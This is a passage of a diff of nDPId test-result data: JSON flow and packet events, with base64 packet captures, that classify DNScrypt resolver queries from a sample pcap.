AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":224,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":87,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312105609,"flow_src_last_pkt_time":946739312105609,"flow_dst_last_pkt_time":946739312105609,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312105609,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":56688,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":225,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312105630} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":225,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312105609,"pkt":"REREREREZmZmZmZmCABFAABQRf4Aub0RhNkKAAABMw8+QQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":2,"flow_src_last_pkt_time":946739311802455,"flow_dst_last_pkt_time":946739312105709,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739312105709,"pkt":"ZmZmZmZmRERERERECABFAADUhidAACgR63I0QeuBCgAAAQG72qsAwNq7Cm+BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAHR7dJhGoyFx8KdrkIsoh61C8rxtxAaFzxQo\/agVQzzjpZ5APiE6q3FOpAI96QjakMreCrdTAjP8EJbJX\/I6UH9uHXHTkXq4cOyA70iJwlafDxONoi+u6\/0zTNviG6FU724dcdORerhwAAAAFfU2DvX1Sybw=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":227,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":88,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312105859,"flow_src_last_pkt_time":946739312105859,"flow_dst_last_pkt_time":946739312105859,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312105859,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":33521,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_src_last_pkt_time":946739312105859,"flow_dst_last_pkt_time":946739312105859,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312105859,"pkt":"REREREREZmZmZmZmCABFAAXcRf8gAL0RYAUKAAABMw8+QYLxAbsGBHqjxUQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAQAAAAAAAAAAAAW9AAwFuQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":227,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":88,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312105859,"flow_src_last_pkt_time":946739312105859,"flow_dst_last_pkt_time":946739312105859,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312105859,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":33521,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":228,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312105877} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":228,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312105859,"pkt":"REREREREZmZmZmZmCABFAABQRf8Aub0RhNgKAAABMw8+QQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":229,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":89,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312105922,"flow_src_last_pkt_time":946739312105922,"flow_dst_last_pkt_time":946739312105922,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312105922,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":43714,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01200{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_src_last_pkt_time":946739312105922,"flow_dst_last_pkt_time":946739312105922,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739312105922,"pkt":"REREREREZmZmZmZmCABFAAIcRgBAAL0RQ8QKAAABMw8+QarCAbsCCDQmxUUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAQAAAAAAAAAAAAHBAAwBvQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00878{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":229,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":89,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312105922,"flow_src_last_pkt_time":946739312105922,"flow_dst_last_pkt_time":946739312105922,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312105922,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":43714,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -467,13 +409,9 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":234,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":92,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312132111,"flow_src_last_pkt_time":946739312132111,"flow_dst_last_pkt_time":946739312132111,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312132111,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":37890,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_src_last_pkt_time":946739312132111,"flow_dst_last_pkt_time":946739312132111,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312132111,"pkt":"REREREREZmZmZmZmCABFAAXcwbUgAL0RbKUKAAABLZm7YJQCEPcGBM6aMPUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":234,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":92,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312132111,"flow_src_last_pkt_time":946739312132111,"flow_dst_last_pkt_time":946739312132111,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312132111,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":37890,"dst_port":4343,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":235,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312132131} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":235,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312132111,"pkt":"REREREREZmZmZmZmCABFAABQwbUAub0RkXgKAAABLZm7YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":236,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":93,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312132157,"flow_src_last_pkt_time":946739312132157,"flow_dst_last_pkt_time":946739312132157,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312132157,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":45987,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_src_last_pkt_time":946739312132157,"flow_dst_last_pkt_time":946739312132157,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312132157,"pkt":"REREREREZmZmZmZmCABFAAXcwbYgAL0RbKQKAAABLZm7YLOjEPcGBK77MPMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":236,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":93,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312132157,"flow_src_last_pkt_time":946739312132157,"flow_dst_last_pkt_time":946739312132157,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312132157,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":45987,"dst_port":4343,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":237,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312132174} 